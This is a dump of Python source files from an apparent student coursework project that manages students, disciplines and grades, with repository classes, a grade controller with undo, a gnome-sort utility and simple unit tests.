"/Controller/GradeController.py", "/Base/StudGrade.py"]} |
45,990 | langchristian96/student-registers | refs/heads/master | /BaseFile/FileStudentBase.py | from Base.StudentBase import *
from Domain.Students import *
class FileStudentBase(StudentBase):
_fName="students.txt"
def __init__(self):
StudentBase.__init__(self)
self.__loadFromFile()
def add(self, stud):
StudentBase.add(self, stud)
self.__storeToFile()
def remove(self, id):
st= StudentBase.remove(self, id)
self.__loadFromFile()
return st
def update(self, id, newName):
StudentBase.update(self, id, newName)
self.__loadFromFile()
def __storeToFile(self):
f = open(self._fName, "w")
students=StudentBase.getAll(self)
for c in students:
cf = str(c.getId()) + ";" + c.getName() + "\n"
f.write(cf)
f.close()
def __loadFromFile(self):
try:
f=open(self._fName,'r')
except IOError:
return
line=f.readline().strip()
while line!="":
t=line.split(';')
gr=Student(int(t[0]),t[1])
StudentBase.add(self, gr)
line=f.readline().strip()
f.close()
| {"/Domain/GradeValidator.py": ["/Domain/Grades.py"], "/Test/TestDisciplines.py": ["/Domain/Disciplines.py"], "/BaseFile/FileGradeBase.py": ["/Base/GradeBase.py", "/Domain/Grades.py"], "/Base/GradeBase.py": ["/Domain/Grades.py"], "/AppCoordinator.py": ["/Domain/Students.py", "/Domain/Disciplines.py", "/Domain/Grades.py", "/Base/GradeBase.py", "/Base/DisciplineBase.py", "/Base/StudentBase.py", "/Controller/DisciplineController.py", "/Controller/StudentController.py", "/Controller/GradeController.py", "/Controller/UndoController.py", "/BaseFile/FileGradeBase.py", "/BaseFile/FileStudentBase.py", "/UI/UI.py"], "/Test/TestGrades.py": ["/Domain/Grades.py"], "/Domain/StudentValidator.py": ["/Domain/Students.py"], "/Test/TestStudentController.py": ["/Domain/Disciplines.py", "/Domain/Students.py", "/Base/StudentBase.py", "/Controller/StudentController.py", "/Controller/UndoController.py"], "/UI/UI.py": ["/Domain/Students.py", "/Domain/Disciplines.py", "/Domain/Grades.py", "/Domain/GradeValidator.py", "/Domain/StudentValidator.py", "/Controller/DisciplineController.py", "/Controller/StatisticsControllers.py"], "/Test/TestGradeBase.py": ["/Base/GradeBase.py", "/Domain/Grades.py"], "/BaseFile/FileStudentBase.py": ["/Base/StudentBase.py", "/Domain/Students.py"], "/Base/StudentBase.py": ["/Domain/Students.py"], "/Test/testStudents.py": ["/Domain/Students.py"], "/SortFilter.py": ["/Base/DisciplineBase.py", "/Base/GradeBase.py", "/Base/StudentBase.py"], "/Controller/GradeController.py": ["/Base/GradeBase.py", "/Controller/ChangeHistory.py", "/Controller/UndoController.py", "/SortFilter.py"], "/Controller/DisciplineController.py": ["/Base/DisciplineBase.py"], "/Base/DisciplineBase.py": ["/Domain/Disciplines.py"], "/Test/TestGradeController.py": ["/Domain/Grades.py", "/Domain/Disciplines.py", "/Base/GradeBase.py", "/Controller/GradeController.py"], "/Test/TestStudentBase.py": ["/Base/StudentBase.py", "/Domain/Students.py"], "/Controller/StudentController.py": ["/Base/StudentBase.py", "/Controller/ChangeHistory.py", "/Controller/UndoController.py"], "/Controller/StatisticsControllers.py": ["/SortFilter.py", "/Controller/StudentController.py", "/Controller/DisciplineController.py", "/Controller/GradeController.py", "/Base/StudGrade.py"]} |
45,991 | langchristian96/student-registers | refs/heads/master | /Domain/Students.py | from Domain.Exceptions import StudentException
class Student:
def __init__(self,id,name):
"""
Creates a new instance of Student.
"""
if id<0:
raise StudentException("ID must be positive")
self.__id=id
self.__name=name
self.__average=0
def getName(self):
'''
Getter for name. This is a read-only property
'''
return self.__name
def getId(self):
'''
Getter for id. This is a read-only property
'''
return self.__id
def setId(self,value):
'''
Setter for id
'''
if value<0:
raise StudentException("ID Must be positive")
self.__id=value
def setName(self,value):
'''
Setter for name
'''
self.__name=value
def __str__(self):
return str(self.__id)+'\t name '+str(self.__name)
def testStudent():
stud=Student(1,"Ariesan Darius")
assert stud.getId()==1
assert stud.getName()=="Ariesan Darius"
stud.setName("Darius")
assert stud.getName()=="Darius"
stud.setId(2)
assert stud.getId()==2
try:
stud.setId(-1)
assert False
except StudentException:
assert True
try:
stud1=Student(-2,"nume")
assert False
except StudentException:
assert True
if __name__ == '__main__':
testStudent()
| {"/Domain/GradeValidator.py": ["/Domain/Grades.py"], "/Test/TestDisciplines.py": ["/Domain/Disciplines.py"], "/BaseFile/FileGradeBase.py": ["/Base/GradeBase.py", "/Domain/Grades.py"], "/Base/GradeBase.py": ["/Domain/Grades.py"], "/AppCoordinator.py": ["/Domain/Students.py", "/Domain/Disciplines.py", "/Domain/Grades.py", "/Base/GradeBase.py", "/Base/DisciplineBase.py", "/Base/StudentBase.py", "/Controller/DisciplineController.py", "/Controller/StudentController.py", "/Controller/GradeController.py", "/Controller/UndoController.py", "/BaseFile/FileGradeBase.py", "/BaseFile/FileStudentBase.py", "/UI/UI.py"], "/Test/TestGrades.py": ["/Domain/Grades.py"], "/Domain/StudentValidator.py": ["/Domain/Students.py"], "/Test/TestStudentController.py": ["/Domain/Disciplines.py", "/Domain/Students.py", "/Base/StudentBase.py", "/Controller/StudentController.py", "/Controller/UndoController.py"], "/UI/UI.py": ["/Domain/Students.py", "/Domain/Disciplines.py", "/Domain/Grades.py", "/Domain/GradeValidator.py", "/Domain/StudentValidator.py", "/Controller/DisciplineController.py", "/Controller/StatisticsControllers.py"], "/Test/TestGradeBase.py": ["/Base/GradeBase.py", "/Domain/Grades.py"], "/BaseFile/FileStudentBase.py": ["/Base/StudentBase.py", "/Domain/Students.py"], "/Base/StudentBase.py": ["/Domain/Students.py"], "/Test/testStudents.py": ["/Domain/Students.py"], "/SortFilter.py": ["/Base/DisciplineBase.py", "/Base/GradeBase.py", "/Base/StudentBase.py"], "/Controller/GradeController.py": ["/Base/GradeBase.py", "/Controller/ChangeHistory.py", "/Controller/UndoController.py", "/SortFilter.py"], "/Controller/DisciplineController.py": ["/Base/DisciplineBase.py"], "/Base/DisciplineBase.py": ["/Domain/Disciplines.py"], "/Test/TestGradeController.py": ["/Domain/Grades.py", "/Domain/Disciplines.py", "/Base/GradeBase.py", "/Controller/GradeController.py"], "/Test/TestStudentBase.py": ["/Base/StudentBase.py", "/Domain/Students.py"], "/Controller/StudentController.py": ["/Base/StudentBase.py", "/Controller/ChangeHistory.py", "/Controller/UndoController.py"], "/Controller/StatisticsControllers.py": ["/SortFilter.py", "/Controller/StudentController.py", "/Controller/DisciplineController.py", "/Controller/GradeController.py", "/Base/StudGrade.py"]} |
45,992 | langchristian96/student-registers | refs/heads/master | /Domain/Grades.py | from Domain.Exceptions import StudentException
class Grade:
def __init__(self,discipline,id,teacher,grade):
"""
Creates a new instance of Grade.
"""
self.__discipline=discipline
if id<0:
raise StudentException("ID cannot be negative")
if grade<0 or grade>10:
raise StudentException("The grade must between 0 and 10")
self.__id=id
self.__discipline=discipline
self.__teacher=teacher
self.__grade=grade
def getId(self):
"""
Return the id. This is a read-only property as we do
not have a setter
"""
return self.__id
def getDiscipline(self):
'''
Getter for discipline. This is a read-only property.
'''
return self.__discipline
def getTeacher(self):
'''
Getter for teacher. This is a read-only property
'''
return self.__teacher
def getGrade(self):
'''
Getter for grade. This is a read-only property
'''
return self.__grade
def setId(self,value):
'''
Setter for id
'''
if value<0:
raise StudentException("Id must be positive")
self.__id=value
def setDiscipline(self,value):
'''
Setter for discipline
'''
self.__discipline=value
def setTeacher(self,value):
'''
Setter for teacher
'''
self.__teacher=value
def setGrade(self,value):
'''
Setter for grade
'''
if value<0 or value>10:
raise StudentException("Grade must be between 0 and 10")
self.__grade=value
def __eq__(self,crit):
return self.getDiscipline()==str(crit)
def __str__(self):
return str(self.__discipline)+"\t Student ID: "+str(self.__id)+"\t Teacher "+str(self.__teacher)+"\t Grade: "+str(self.__grade)
def testGrade():
grd=Grade("FP",1,"Arthur",10)
assert grd.getID()==1
assert grd.getDiscipline()=="FP"
assert grd.getGrade()==10
assert grd.getTeacher()=="Arthur"
grd.setTeacher("Irina")
assert grd.getTeacher()=="Irina"
grd.setId(2)
assert grd.getId()==2
grd.setGrade(9)
assert grd.getGrade()==9
grd.setDiscipline("LabFP")
assert grd.getDiscipline()=="LabFP"
try:
grd.setGrade(11)
assert False
except StudentException:
assert True
try:
grd1=Grade("LC",-2,"Nume",9)
assert False
except StudentException:
assert True
try:
grd2=Grade("LC",2,"Nume",90)
assert False
except StudentException:
assert True
| {"/Domain/GradeValidator.py": ["/Domain/Grades.py"], "/Test/TestDisciplines.py": ["/Domain/Disciplines.py"], "/BaseFile/FileGradeBase.py": ["/Base/GradeBase.py", "/Domain/Grades.py"], "/Base/GradeBase.py": ["/Domain/Grades.py"], "/AppCoordinator.py": ["/Domain/Students.py", "/Domain/Disciplines.py", "/Domain/Grades.py", "/Base/GradeBase.py", "/Base/DisciplineBase.py", "/Base/StudentBase.py", "/Controller/DisciplineController.py", "/Controller/StudentController.py", "/Controller/GradeController.py", "/Controller/UndoController.py", "/BaseFile/FileGradeBase.py", "/BaseFile/FileStudentBase.py", "/UI/UI.py"], "/Test/TestGrades.py": ["/Domain/Grades.py"], "/Domain/StudentValidator.py": ["/Domain/Students.py"], "/Test/TestStudentController.py": ["/Domain/Disciplines.py", "/Domain/Students.py", "/Base/StudentBase.py", "/Controller/StudentController.py", "/Controller/UndoController.py"], "/UI/UI.py": ["/Domain/Students.py", "/Domain/Disciplines.py", "/Domain/Grades.py", "/Domain/GradeValidator.py", "/Domain/StudentValidator.py", "/Controller/DisciplineController.py", "/Controller/StatisticsControllers.py"], "/Test/TestGradeBase.py": ["/Base/GradeBase.py", "/Domain/Grades.py"], "/BaseFile/FileStudentBase.py": ["/Base/StudentBase.py", "/Domain/Students.py"], "/Base/StudentBase.py": ["/Domain/Students.py"], "/Test/testStudents.py": ["/Domain/Students.py"], "/SortFilter.py": ["/Base/DisciplineBase.py", "/Base/GradeBase.py", "/Base/StudentBase.py"], "/Controller/GradeController.py": ["/Base/GradeBase.py", "/Controller/ChangeHistory.py", "/Controller/UndoController.py", "/SortFilter.py"], "/Controller/DisciplineController.py": ["/Base/DisciplineBase.py"], "/Base/DisciplineBase.py": ["/Domain/Disciplines.py"], "/Test/TestGradeController.py": ["/Domain/Grades.py", "/Domain/Disciplines.py", "/Base/GradeBase.py", "/Controller/GradeController.py"], "/Test/TestStudentBase.py": ["/Base/StudentBase.py", "/Domain/Students.py"], "/Controller/StudentController.py": ["/Base/StudentBase.py", "/Controller/ChangeHistory.py", "/Controller/UndoController.py"], "/Controller/StatisticsControllers.py": ["/SortFilter.py", "/Controller/StudentController.py", "/Controller/DisciplineController.py", "/Controller/GradeController.py", "/Base/StudGrade.py"]} |
45,993 | langchristian96/student-registers | refs/heads/master | /Base/StudentBase.py | from Domain.Exceptions import StudentException
from Domain.Students import Student
class StudentBase:
def __init__(self):
'''
Creates an instance of the StudentBase.
'''
self.__data=[]
def __find(self,id):
'''
Returns the index student having the given id.
Input: id - integer, the id of the student that is being searched
for
Output: index - if the student was found, -1 - otherwise
'''
for i in range(len(self.__data)):
if self.__data[i].getId()==id:
return i
return -1
def findById(self,id):
'''
Returns the student having the given id.
Input: id - integer, the id of the student that is being searched
for
Output: the student, if found or None otherwise
'''
idx=self.__find(id)
if idx==-1:
return None
else:
return self.__data[idx]
def add(self,stud):
'''
Adds a student to the base.
Input: stud - object of type Grade
Output: the given student is added to the base, if no other
student with the same id exists
Exceptions: raises StudentException if another student with the
same id already exists
'''
if self.findById(stud.getId())!=None:
raise StudentException("ID already exists")
self.__data.append(stud)
def remove(self,id):
'''
Removes a student from the base, using its id
Input: id - integer, the id of the student that must be removed
Output: if such a student exists, it is removed and returned
Exceptions: raises StudentException if a student with the given id
does not exist
'''
idx=self.__find(id)
if idx==-1:
raise StudentException("There is no student with the given ID")
return self.__data.pop(idx)
def __len__(self):
'''
Returns the size of the list of grades
(Overriding the len() built-in function)
'''
return len(self.__data)
def __lt__(self,obj):
return self.getName()<obj.getName()
def getAll(self):
'''
Returns the list of students
'''
return self.__data
def update(self,id,newName):
'''
Updates the student with the given id with the new name.
Input:id-integer positive number
newName-string
Raises StudentException if there is no student with the given id.
'''
idx=self.__find(id)
if idx==-1:
raise StudentException("There is no student with the given ID")
self.__data[idx].setName(newName)
def testStudentBase():
base=StudentBase()
s1=Student(1,"Darius")
s2=Student(1,"Alex")
assert len(base)==0
base.add(s1)
assert len(base)==1
assert base.findById(1)==s1
try:
base.add(s1)
assert False
except StudentException:
assert True
try:
base.add(s2)
assert False
except StudentException:
assert True
s2=Student(2,"Nume")
base.add(s2)
assert len(base)==2
assert base.findById(1)==s1
assert base.findById(2)==s2
base.remove(1)
assert len(base)==1
assert base.findById(2)==s2
try:
base.remove(1)
assert False
except StudentException:
assert True
assert base.remove(2)==s2
assert len(base)==0
if __name__ == '__main__':
testStudentBase()
| {"/Domain/GradeValidator.py": ["/Domain/Grades.py"], "/Test/TestDisciplines.py": ["/Domain/Disciplines.py"], "/BaseFile/FileGradeBase.py": ["/Base/GradeBase.py", "/Domain/Grades.py"], "/Base/GradeBase.py": ["/Domain/Grades.py"], "/AppCoordinator.py": ["/Domain/Students.py", "/Domain/Disciplines.py", "/Domain/Grades.py", "/Base/GradeBase.py", "/Base/DisciplineBase.py", "/Base/StudentBase.py", "/Controller/DisciplineController.py", "/Controller/StudentController.py", "/Controller/GradeController.py", "/Controller/UndoController.py", "/BaseFile/FileGradeBase.py", "/BaseFile/FileStudentBase.py", "/UI/UI.py"], "/Test/TestGrades.py": ["/Domain/Grades.py"], "/Domain/StudentValidator.py": ["/Domain/Students.py"], "/Test/TestStudentController.py": ["/Domain/Disciplines.py", "/Domain/Students.py", "/Base/StudentBase.py", "/Controller/StudentController.py", "/Controller/UndoController.py"], "/UI/UI.py": ["/Domain/Students.py", "/Domain/Disciplines.py", "/Domain/Grades.py", "/Domain/GradeValidator.py", "/Domain/StudentValidator.py", "/Controller/DisciplineController.py", "/Controller/StatisticsControllers.py"], "/Test/TestGradeBase.py": ["/Base/GradeBase.py", "/Domain/Grades.py"], "/BaseFile/FileStudentBase.py": ["/Base/StudentBase.py", "/Domain/Students.py"], "/Base/StudentBase.py": ["/Domain/Students.py"], "/Test/testStudents.py": ["/Domain/Students.py"], "/SortFilter.py": ["/Base/DisciplineBase.py", "/Base/GradeBase.py", "/Base/StudentBase.py"], "/Controller/GradeController.py": ["/Base/GradeBase.py", "/Controller/ChangeHistory.py", "/Controller/UndoController.py", "/SortFilter.py"], "/Controller/DisciplineController.py": ["/Base/DisciplineBase.py"], "/Base/DisciplineBase.py": ["/Domain/Disciplines.py"], "/Test/TestGradeController.py": ["/Domain/Grades.py", "/Domain/Disciplines.py", "/Base/GradeBase.py", "/Controller/GradeController.py"], "/Test/TestStudentBase.py": ["/Base/StudentBase.py", "/Domain/Students.py"], "/Controller/StudentController.py": ["/Base/StudentBase.py", "/Controller/ChangeHistory.py", "/Controller/UndoController.py"], "/Controller/StatisticsControllers.py": ["/SortFilter.py", "/Controller/StudentController.py", "/Controller/DisciplineController.py", "/Controller/GradeController.py", "/Base/StudGrade.py"]} |
45,994 | langchristian96/student-registers | refs/heads/master | /Test/testStudents.py |
import unittest
from Domain.Students import *
class Test(unittest.TestCase):
def setUp(self):
self.s=Student(1,'mark')
self.s2=Student(2,'ana')
def testGet(self):
self.assertEqual(self.s.getId(), 1)
self.assertEqual(self.s2.getId(), 2)
self.assertEqual(self.s.getName(), 'mark')
self.assertEqual(self.s2.getName(), 'ana')
def testSet(self):
self.s.setId(3)
self.assertEqual(self.s.getId(), 3)
self.s2.setId(4)
self.assertEqual(self.s2.getId(), 4)
self.s.setName('markk')
self.assertEqual(self.s.getName(), 'markk')
self.s2.setName('anaa')
self.assertEqual(self.s2.getName(), 'anaa')
if __name__ == "__main__":
#import sys;sys.argv = ['', 'Test.testName']
unittest.main() | {"/Domain/GradeValidator.py": ["/Domain/Grades.py"], "/Test/TestDisciplines.py": ["/Domain/Disciplines.py"], "/BaseFile/FileGradeBase.py": ["/Base/GradeBase.py", "/Domain/Grades.py"], "/Base/GradeBase.py": ["/Domain/Grades.py"], "/AppCoordinator.py": ["/Domain/Students.py", "/Domain/Disciplines.py", "/Domain/Grades.py", "/Base/GradeBase.py", "/Base/DisciplineBase.py", "/Base/StudentBase.py", "/Controller/DisciplineController.py", "/Controller/StudentController.py", "/Controller/GradeController.py", "/Controller/UndoController.py", "/BaseFile/FileGradeBase.py", "/BaseFile/FileStudentBase.py", "/UI/UI.py"], "/Test/TestGrades.py": ["/Domain/Grades.py"], "/Domain/StudentValidator.py": ["/Domain/Students.py"], "/Test/TestStudentController.py": ["/Domain/Disciplines.py", "/Domain/Students.py", "/Base/StudentBase.py", "/Controller/StudentController.py", "/Controller/UndoController.py"], "/UI/UI.py": ["/Domain/Students.py", "/Domain/Disciplines.py", "/Domain/Grades.py", "/Domain/GradeValidator.py", "/Domain/StudentValidator.py", "/Controller/DisciplineController.py", "/Controller/StatisticsControllers.py"], "/Test/TestGradeBase.py": ["/Base/GradeBase.py", "/Domain/Grades.py"], "/BaseFile/FileStudentBase.py": ["/Base/StudentBase.py", "/Domain/Students.py"], "/Base/StudentBase.py": ["/Domain/Students.py"], "/Test/testStudents.py": ["/Domain/Students.py"], "/SortFilter.py": ["/Base/DisciplineBase.py", "/Base/GradeBase.py", "/Base/StudentBase.py"], "/Controller/GradeController.py": ["/Base/GradeBase.py", "/Controller/ChangeHistory.py", "/Controller/UndoController.py", "/SortFilter.py"], "/Controller/DisciplineController.py": ["/Base/DisciplineBase.py"], "/Base/DisciplineBase.py": ["/Domain/Disciplines.py"], "/Test/TestGradeController.py": ["/Domain/Grades.py", "/Domain/Disciplines.py", "/Base/GradeBase.py", "/Controller/GradeController.py"], "/Test/TestStudentBase.py": ["/Base/StudentBase.py", "/Domain/Students.py"], "/Controller/StudentController.py": ["/Base/StudentBase.py", "/Controller/ChangeHistory.py", "/Controller/UndoController.py"], "/Controller/StatisticsControllers.py": ["/SortFilter.py", "/Controller/StudentController.py", "/Controller/DisciplineController.py", "/Controller/GradeController.py", "/Base/StudGrade.py"]} |
45,995 | langchristian96/student-registers | refs/heads/master | /SortFilter.py |
from Base.DisciplineBase import *
from Base.GradeBase import *
from Base.StudentBase import *
def gnomeSort(data):
'''
It is a sorting algorithm which is similar to insertion sort,
except that moving an element to its proper place is accomplished
by a series of swaps, as in bubble sort.
It is conceptually simple, requiring no nested loops.
The average, or expected, running time is O(n2), but tends towards O(n)
if the list is initially almost sorted.
The algorithm always finds the first place where two adjacent elements are in the wrong order,
and swaps them.
It takes advantage of the fact that performing a swap can introduce a new out-of-order adjacent
pair only next to the two swapped elements.
It does not assume that elements forward of the current position are sorted,
so it only needs to check the position directly previous to the swapped elements.
Input:list that needs to be sorted
Output: sorted list
'''
pos=1
while pos<(len(data)):
if(data[pos]>=data[pos-1]):
pos=pos+1
else:
data[pos],data[pos-1]=data[pos-1],data[pos]
if pos>1:
pos=pos-1
def Filter(data,criteriu):
'''
The function computes the corresponding element of the given list to the given criterion and appends the element
to a new list.
Input:data-list of elements
criteriu- given criterion
Output: new list with the elements corresponding to 'criteriu'
'''
result=[]
for e in data:
if e==criteriu:
result.append(e)
return result
def testGnomeSort():
'''
tester for Gnome Sort
'''
lista=[]
lista.append(10)
lista.append(3)
lista.append(2)
gnomeSort(lista)
assert lista[0]==2
def testFilter():
'''
tester for Filter
'''
lista=[]
gr=Grade('FPcurs',2,'qweq',10)
gr2=Grade('FPcurs',3,'art',9)
gr3=Grade('Algebra',4,'qweqewq',8)
lista.append(gr)
lista.append(gr2)
lista.append(gr3)
rez=[]
rez=Filter(lista,'FPcurs')
assert len(rez)==2
assert rez[0].getId()==2
if __name__=='__main__':
testGnomeSort()
testFilter()
| {"/Domain/GradeValidator.py": ["/Domain/Grades.py"], "/Test/TestDisciplines.py": ["/Domain/Disciplines.py"], "/BaseFile/FileGradeBase.py": ["/Base/GradeBase.py", "/Domain/Grades.py"], "/Base/GradeBase.py": ["/Domain/Grades.py"], "/AppCoordinator.py": ["/Domain/Students.py", "/Domain/Disciplines.py", "/Domain/Grades.py", "/Base/GradeBase.py", "/Base/DisciplineBase.py", "/Base/StudentBase.py", "/Controller/DisciplineController.py", "/Controller/StudentController.py", "/Controller/GradeController.py", "/Controller/UndoController.py", "/BaseFile/FileGradeBase.py", "/BaseFile/FileStudentBase.py", "/UI/UI.py"], "/Test/TestGrades.py": ["/Domain/Grades.py"], "/Domain/StudentValidator.py": ["/Domain/Students.py"], "/Test/TestStudentController.py": ["/Domain/Disciplines.py", "/Domain/Students.py", "/Base/StudentBase.py", "/Controller/StudentController.py", "/Controller/UndoController.py"], "/UI/UI.py": ["/Domain/Students.py", "/Domain/Disciplines.py", "/Domain/Grades.py", "/Domain/GradeValidator.py", "/Domain/StudentValidator.py", "/Controller/DisciplineController.py", "/Controller/StatisticsControllers.py"], "/Test/TestGradeBase.py": ["/Base/GradeBase.py", "/Domain/Grades.py"], "/BaseFile/FileStudentBase.py": ["/Base/StudentBase.py", "/Domain/Students.py"], "/Base/StudentBase.py": ["/Domain/Students.py"], "/Test/testStudents.py": ["/Domain/Students.py"], "/SortFilter.py": ["/Base/DisciplineBase.py", "/Base/GradeBase.py", "/Base/StudentBase.py"], "/Controller/GradeController.py": ["/Base/GradeBase.py", "/Controller/ChangeHistory.py", "/Controller/UndoController.py", "/SortFilter.py"], "/Controller/DisciplineController.py": ["/Base/DisciplineBase.py"], "/Base/DisciplineBase.py": ["/Domain/Disciplines.py"], "/Test/TestGradeController.py": ["/Domain/Grades.py", "/Domain/Disciplines.py", "/Base/GradeBase.py", "/Controller/GradeController.py"], "/Test/TestStudentBase.py": ["/Base/StudentBase.py", "/Domain/Students.py"], "/Controller/StudentController.py": ["/Base/StudentBase.py", "/Controller/ChangeHistory.py", "/Controller/UndoController.py"], "/Controller/StatisticsControllers.py": ["/SortFilter.py", "/Controller/StudentController.py", "/Controller/DisciplineController.py", "/Controller/GradeController.py", "/Base/StudGrade.py"]} |
45,996 | langchristian96/student-registers | refs/heads/master | /Base/StudGrade.py | '''
Created on 21 dec. 2015
@author: LenovoM
'''
class StudGrade:
def __init__(self,name,discipline,grade,teacher):
self.__name=name
self.__discipline=discipline
self.__grade=grade
self.__teacher=teacher
def getName(self):
return self.__name
def getDiscipline(self):
return self.__discipline
def getGrade(self):
return self.__grade
def getTeacher(self):
return self.__teacher
def __lt__(self,obj):
return self.getName()<obj.getName()
def __ge__(self,obj):
return self.getName()>=obj.getName() | {"/Domain/GradeValidator.py": ["/Domain/Grades.py"], "/Test/TestDisciplines.py": ["/Domain/Disciplines.py"], "/BaseFile/FileGradeBase.py": ["/Base/GradeBase.py", "/Domain/Grades.py"], "/Base/GradeBase.py": ["/Domain/Grades.py"], "/AppCoordinator.py": ["/Domain/Students.py", "/Domain/Disciplines.py", "/Domain/Grades.py", "/Base/GradeBase.py", "/Base/DisciplineBase.py", "/Base/StudentBase.py", "/Controller/DisciplineController.py", "/Controller/StudentController.py", "/Controller/GradeController.py", "/Controller/UndoController.py", "/BaseFile/FileGradeBase.py", "/BaseFile/FileStudentBase.py", "/UI/UI.py"], "/Test/TestGrades.py": ["/Domain/Grades.py"], "/Domain/StudentValidator.py": ["/Domain/Students.py"], "/Test/TestStudentController.py": ["/Domain/Disciplines.py", "/Domain/Students.py", "/Base/StudentBase.py", "/Controller/StudentController.py", "/Controller/UndoController.py"], "/UI/UI.py": ["/Domain/Students.py", "/Domain/Disciplines.py", "/Domain/Grades.py", "/Domain/GradeValidator.py", "/Domain/StudentValidator.py", "/Controller/DisciplineController.py", "/Controller/StatisticsControllers.py"], "/Test/TestGradeBase.py": ["/Base/GradeBase.py", "/Domain/Grades.py"], "/BaseFile/FileStudentBase.py": ["/Base/StudentBase.py", "/Domain/Students.py"], "/Base/StudentBase.py": ["/Domain/Students.py"], "/Test/testStudents.py": ["/Domain/Students.py"], "/SortFilter.py": ["/Base/DisciplineBase.py", "/Base/GradeBase.py", "/Base/StudentBase.py"], "/Controller/GradeController.py": ["/Base/GradeBase.py", "/Controller/ChangeHistory.py", "/Controller/UndoController.py", "/SortFilter.py"], "/Controller/DisciplineController.py": ["/Base/DisciplineBase.py"], "/Base/DisciplineBase.py": ["/Domain/Disciplines.py"], "/Test/TestGradeController.py": ["/Domain/Grades.py", "/Domain/Disciplines.py", "/Base/GradeBase.py", "/Controller/GradeController.py"], "/Test/TestStudentBase.py": ["/Base/StudentBase.py", "/Domain/Students.py"], "/Controller/StudentController.py": ["/Base/StudentBase.py", "/Controller/ChangeHistory.py", "/Controller/UndoController.py"], "/Controller/StatisticsControllers.py": ["/SortFilter.py", "/Controller/StudentController.py", "/Controller/DisciplineController.py", "/Controller/GradeController.py", "/Base/StudGrade.py"]} |
45,997 | langchristian96/student-registers | refs/heads/master | /Domain/Disciplines.py | class Discipline:
def __init__(self,discipline):
"""
Creates a new instance of Discipline
"""
self.__discipline=discipline
def getDiscipline(self):
"""
Getter for discipline
"""
return self.__discipline
def setDiscipline(self,discipline):
"""
Setter for discipline
"""
self.__discipline=discipline
def __eq__(self,c):
"""
Overrides the equal function
"""
return self.__discipline==c
| {"/Domain/GradeValidator.py": ["/Domain/Grades.py"], "/Test/TestDisciplines.py": ["/Domain/Disciplines.py"], "/BaseFile/FileGradeBase.py": ["/Base/GradeBase.py", "/Domain/Grades.py"], "/Base/GradeBase.py": ["/Domain/Grades.py"], "/AppCoordinator.py": ["/Domain/Students.py", "/Domain/Disciplines.py", "/Domain/Grades.py", "/Base/GradeBase.py", "/Base/DisciplineBase.py", "/Base/StudentBase.py", "/Controller/DisciplineController.py", "/Controller/StudentController.py", "/Controller/GradeController.py", "/Controller/UndoController.py", "/BaseFile/FileGradeBase.py", "/BaseFile/FileStudentBase.py", "/UI/UI.py"], "/Test/TestGrades.py": ["/Domain/Grades.py"], "/Domain/StudentValidator.py": ["/Domain/Students.py"], "/Test/TestStudentController.py": ["/Domain/Disciplines.py", "/Domain/Students.py", "/Base/StudentBase.py", "/Controller/StudentController.py", "/Controller/UndoController.py"], "/UI/UI.py": ["/Domain/Students.py", "/Domain/Disciplines.py", "/Domain/Grades.py", "/Domain/GradeValidator.py", "/Domain/StudentValidator.py", "/Controller/DisciplineController.py", "/Controller/StatisticsControllers.py"], "/Test/TestGradeBase.py": ["/Base/GradeBase.py", "/Domain/Grades.py"], "/BaseFile/FileStudentBase.py": ["/Base/StudentBase.py", "/Domain/Students.py"], "/Base/StudentBase.py": ["/Domain/Students.py"], "/Test/testStudents.py": ["/Domain/Students.py"], "/SortFilter.py": ["/Base/DisciplineBase.py", "/Base/GradeBase.py", "/Base/StudentBase.py"], "/Controller/GradeController.py": ["/Base/GradeBase.py", "/Controller/ChangeHistory.py", "/Controller/UndoController.py", "/SortFilter.py"], "/Controller/DisciplineController.py": ["/Base/DisciplineBase.py"], "/Base/DisciplineBase.py": ["/Domain/Disciplines.py"], "/Test/TestGradeController.py": ["/Domain/Grades.py", "/Domain/Disciplines.py", "/Base/GradeBase.py", "/Controller/GradeController.py"], "/Test/TestStudentBase.py": ["/Base/StudentBase.py", "/Domain/Students.py"], "/Controller/StudentController.py": ["/Base/StudentBase.py", "/Controller/ChangeHistory.py", "/Controller/UndoController.py"], "/Controller/StatisticsControllers.py": ["/SortFilter.py", "/Controller/StudentController.py", "/Controller/DisciplineController.py", "/Controller/GradeController.py", "/Base/StudGrade.py"]} |
45,998 | langchristian96/student-registers | refs/heads/master | /Controller/GradeController.py | from __future__ import division
from Base.GradeBase import *
from Controller.ChangeHistory import *
from Controller.UndoController import *
from SortFilter import *
class GradeController:
def __init__(self,grdBase,undoController):
'''
Creates a new instance of GradeController.
'''
self.__base=grdBase
self.__undoController=undoController
self.__operations=[]
self.__index=0
def addGrade(self,grd):
'''
Adds a grade to the registers.
Input: grd - of type Grade
Output: the grade is added, if there in no other grade with the
given id
Exceptions: raises StudentException if another grade with the
same id already exists
'''
self.__operations=self.__operations[0:self.__index]
self.__base.add(grd)
self.__operations.append(AddOperation(grd))
self.__index+=1
self.__undoController.recordUpdatedController([self])
def removeStudent(self,id,discipline):
'''
Removes a grade from the registers, using its id
Input: id - integer, the id of the grade that must be removed
Output: if such a grade exists, it is removed and returned
Exceptions: raises StudentException if a grade with the given id
does not exist
'''
self.__operations=self.__operations[0:self.__index]
client=self.__base.findByDisciplineAndID(id,discipline)
self.__base.remove(id,discipline)
self.__operations.append(RemoveOperation(client))
self.__index+=1
self.__undoController.recordUpdatedController([self])
def getAll(self):
'''
Returns the list of grades
'''
return self.__base.getAll()
def updateStudent(self,id,newGrade,newTeacher,newDiscipline):
'''
Updates a grade from the registers, using its id
Input:id-integer positive
newGrade-integer between 0 and 10
newTeacher-string
newDiscipline-string
Output:if such a grade exists, it is updated
Exceptions: raises StudentException if a grade with the given id
does not exist
'''
self.__operations=self.__operations[0:self.__index]
oldCl=self.__base.findById(id)
oldClient=Grade(oldCl.getDiscipline(),oldCl.getId(),oldCl.getTeacher(),oldCl.getGrade())
self.__base.update(id,newGrade,newTeacher,newDiscipline)
newCl=self.__base.findById(id)
newClient=Grade(newCl.getDiscipline(),newCl.getId(),newCl.getTeacher(),newCl.getGrade())
self.__operations.append(UpdateOperation(oldClient,newClient))
self.__index+=1
self.__undoController.recordUpdatedController([self])
def findByDiscipline(self,discipline):
'''
Finds all the grades by discipline
Input: discipline-string
Output: result - list with all the grades at the specified discipline
'''
result=[]
result=Filter(self.__base.getAll(), discipline)
return result
def averageGrade(self,id):
'''
Computes the average grade for the given student id
Input: ID - integer(positive)
Output: the average grade for the given student
'''
result=0
number=0
for m in self.__base.getAll():
if id==m.getId():
result+=m.getGrade()
number+=1
if number!=0:
result=result/number
return result
def undo(self):
"""
Undo function for the GradeController
"""
if self.__index==0:
return False
self.__index-=1
